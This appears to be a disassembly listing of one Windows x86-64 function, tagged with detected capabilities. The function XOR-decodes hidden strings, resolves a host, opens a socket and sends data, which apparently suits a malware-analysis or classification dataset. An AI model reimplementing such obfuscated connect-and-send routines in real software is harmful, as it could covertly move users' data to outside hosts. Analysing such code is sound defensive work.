Function at 0x14000bfd0
Capabilities:
Connect socket
Encode data using xor
Initialize winsock library
Resolve dns
Send data
Send data on socket
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x380
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rsp + 0x370], rax
mov r12, rcx
mov qword [rsp + 0xf0], rcx
lea rdx, [0x1401cb6f8]
lea rcx, [rsp + 0xc8]
call fcn.14000aea0
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.140005680
nop
movdqa xmm0, xmmword [0x140066820]
movdqu xmmword [rsp + 0x38], xmm0
movdqa xmm1, xmmword [0x140066870]
movdqu xmmword [rsp + 0x48], xmm1
mov word [rsp + 0x58], 0x100
xor edi, edi
mov ecx, edi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x1e]
xor byte [rsp + rcx + 0x38], al
inc rcx
cmp rcx, 0x20
jb 0x14000c060
mov byte [rsp + 0x59], dil
lea rcx, [rsp + 0x38]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], dil
jne 0x14000c081
lea rcx, [rsp + 0x180]
cmp qword [rsp + 0x198], 0x10
cmovae rcx, qword [rsp + 0x180]
mov r8, qword [rsp + 0x190]
cmp r8, rax
jne 0x14000caa5
lea rdx, [rsp + 0x38]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14000caa5
movabs r13, 0x7fffffffffffffff
mov rsi, 0xffffffffffffffff
mov qword [rsp + 0xe8], rdi
mov ecx, 0x202
lea rdx, [rsp + 0x1d0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000ca8d
mov qword [rsp + 0x1a0], rdi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1c0], xmm1
mov dword [rsp + 0x1a8], 1
mov dword [rsp + 0x1ac], 6
mov dword [rsp + 0x30], 0x1017262f
mov word [rsp + 0x34], 0x100
mov rcx, rdi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x1e]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 4
jb 0x14000c150
mov byte [rsp + 0x35], 0
lea rdx, [0x1401cb6f8]
lea rcx, [rsp + 0x38]
call fcn.14000aea0
cmp qword [rax + 0x18], 0x10
jb 0x14000c180
mov rax, qword [rax]
lea r9, [rsp + 0xe8]
lea r8, [rsp + 0x1a0]
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov ebx, eax
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14000c1e0
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c1db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c1db
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
test ebx, ebx
jne 0x14000ca8d
mov rbx, qword [rsp + 0xe8]
test rbx, rbx
je 0x14000c254
nop word [rax + rax]
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000ca8d
mov r8d, dword [rbx + 0x10]
mov rdx, qword [rbx + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000c24c
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rsi, 0xffffffffffffffff
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x14000c200
mov rbx, qword [rsp + 0xe8]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rsi, 0xffffffffffffffff
je 0x14000c0d1
lea rcx, [rsp + 0x160]
call fcn.14000b1a0
nop
lea rax, [rsp + 0x60]
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rdi
mov rbx, qword [rsp + 0x170]
lea r15, [rsp + 0x160]
cmp qword [rsp + 0x178], 0x10
cmovae r15, qword [rsp + 0x160]
cmp rbx, 0x10
jae 0x14000c2cd
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x78], socket
jmp 0x14000c342
mov r14, rbx
or r14, 0xf
cmp r14, r13
cmova r14, r13
lea rcx, [r14 + 1]
cmp rcx, 0x1000
jb 0x14000c31a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000caae
mov rcx, rax
call fcn.14004de90
mov rcx, rax
test rax, rax
je 0x14000c313
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000c329
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000c326
call fcn.14004de90
jmp 0x14000c329
mov rax, rdi
mov qword [rsp + 0x60], rax
lea r8, [rbx + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x78], r14
mov qword [rsp + 0x70], rbx
lea rdx, [rsp + 0xa0]
mov rcx, r12
call fcn.140007b80
nop
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.14001ce00
nop
cmp qword [rax + 0x18], 0x10
jb 0x14000c370
mov rax, qword [rax]
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], socket
mov byte [rsp + 0x80], 0
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000c3a0
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.14001f770
nop
lea r8, [rsp + 0x60]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x120]
call fcn.14000b440
nop
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x14000c41c
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c417
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c417
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], socket
mov byte [rsp + 0x80], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14000c478
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c473
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c473
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], socket
mov byte [rsp + 0x38], 0
movzx edx, byte [rsp + 0xa0]
lea rcx, [rsp + 0xa8]
call fcn.14001ffd0
nop
mov qword [rsp + 0x140], rdi
mov qword [rsp + 0x150], rdi
mov qword [rsp + 0x158], rdi
mov r14, qword [rsp + 0x170]
lea r15, [rsp + 0x160]
cmp qword [rsp + 0x178], 0x10
cmovae r15, qword [rsp + 0x160]
cmp r14, 0x10
jae 0x14000c4fb
movups xmm0, xmmword [r15]
movaps xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x158], socket
jmp 0x14000c576
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
cmova rbx, r13
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000c548
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000cab4
mov rcx, rax
call fcn.14004de90
mov rcx, rax
test rax, rax
je 0x14000c541
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000c557
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000c554
call fcn.14004de90
jmp 0x14000c557
mov rax, rdi
mov qword [rsp + 0x140], rax
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x158], rbx
mov qword [rsp + 0x150], r14
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x120]
call fcn.1400081b0
nop
lea rdx, [rsp + 0x38]
mov rcx, rax
call fcn.14001ce00
nop
cmp qword [rax + 0x18], 0x10
jb 0x14000c5ac
mov rax, qword [rax]
mov qword [rsp + 0xf8], rdi
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], socket
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14000c5d0
mov rdx, rax
lea rcx, [rsp + 0xf8]
call fcn.14001f770
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 0x10
jb 0x14000c62b
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c626
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c626
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], socket
mov byte [rsp + 0x38], 0
movzx edx, byte [rsp + 0xb0]
lea rcx, [rsp + 0xb8]
call fcn.14001ffd0
nop
lea rdx, [rsp + 0xf8]
cmp qword [rsp + 0x110], 0x10
cmovae rdx, qword [rsp + 0xf8]
xor r9d, r9d
mov r8d, dword [rsp + 0x108]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rsi
cmp eax, 0xffffffff
jne 0x14000c803
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x14000c6dd
inc rdx
mov rcx, qword [rsp + 0xf8]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000c6d8
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c855
call fcn.14004dbe0
mov byte [rsp + 0xf8], 0
mov qword [rsp + 0x110], socket
mov qword [rsp + 0x108], rdi
mov rdx, qword [rsp + 0x158]
cmp rdx, 0x10
jb 0x14000c73c
inc rdx
mov rcx, qword [rsp + 0x140]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000c737
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c912
call fcn.14004dbe0
mov rdx, qword [rsp + 0x138]
cmp rdx, 0x10
mov byte [rsp + 0x140], 0
mov qword [rsp + 0x158], socket
mov qword [rsp + 0x150], rdi
jb 0x14000c79b
inc rdx
mov rcx, qword [rsp + 0x120]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000c796
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c912
call fcn.14004dbe0
mov byte [rsp + 0x120], 0
mov qword [rsp + 0x138], socket
mov qword [rsp + 0x130], rdi
mov rdx, qword [rsp + 0x178]
cmp rdx, 0x10
jb 0x14000c0d1
inc rdx
mov rcx, qword [rsp + 0x160]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000c7f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c974
call fcn.14004dbe0
jmp 0x14000c0d1
mov edx, 1
call qword [sym.imp.WS2_32.dll_shutdown]
cmp eax, 0xffffffff
jne 0x14000c81b
mov rcx, rsi
jmp 0x14000c68e
mov rdx, qword [rsp + 0x110]
cmp rdx, 0x10
jb 0x14000c861
inc rdx
mov rcx, qword [rsp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c85c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c85c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], socket
mov byte [rsp + 0xf8], 0
mov rdx, qword [rsp + 0x158]
cmp rdx, 0x10
jb 0x14000c8bc
inc rdx
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c8b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c912
call fcn.14004dbe0
mov qword [rsp + 0x150], rdi
mov qword [rsp + 0x158], socket
mov byte [rsp + 0x140], 0
mov rdx, qword [rsp + 0x138]
cmp rdx, 0x10
jb 0x14000c91e
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c919
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c919
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], socket
mov byte [rsp + 0x120], 0
mov rdx, qword [rsp + 0x178]
cmp rdx, 0x10
jb 0x14000c981
inc rdx
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c97b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c97b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
nop
mov rdx, qword [rsp + 0x198]
cmp rdx, 0x10
jb 0x14000c9c4
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c9bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ca4f
call fcn.14004dbe0
mov qword [rsp + 0x190], rdi
mov qword [rsp + 0x198], socket
mov byte [rsp + 0x180], 0
mov rcx, r12
call fcn.1400063d0
mov rcx, qword [rsp + 0x370]
xor rcx, rsp
call fcn.14004dbc0
lea r11, [rsp + 0x380]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x14000c0d1
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
call fcn.140001b30
nop
call fcn.140001b30
int3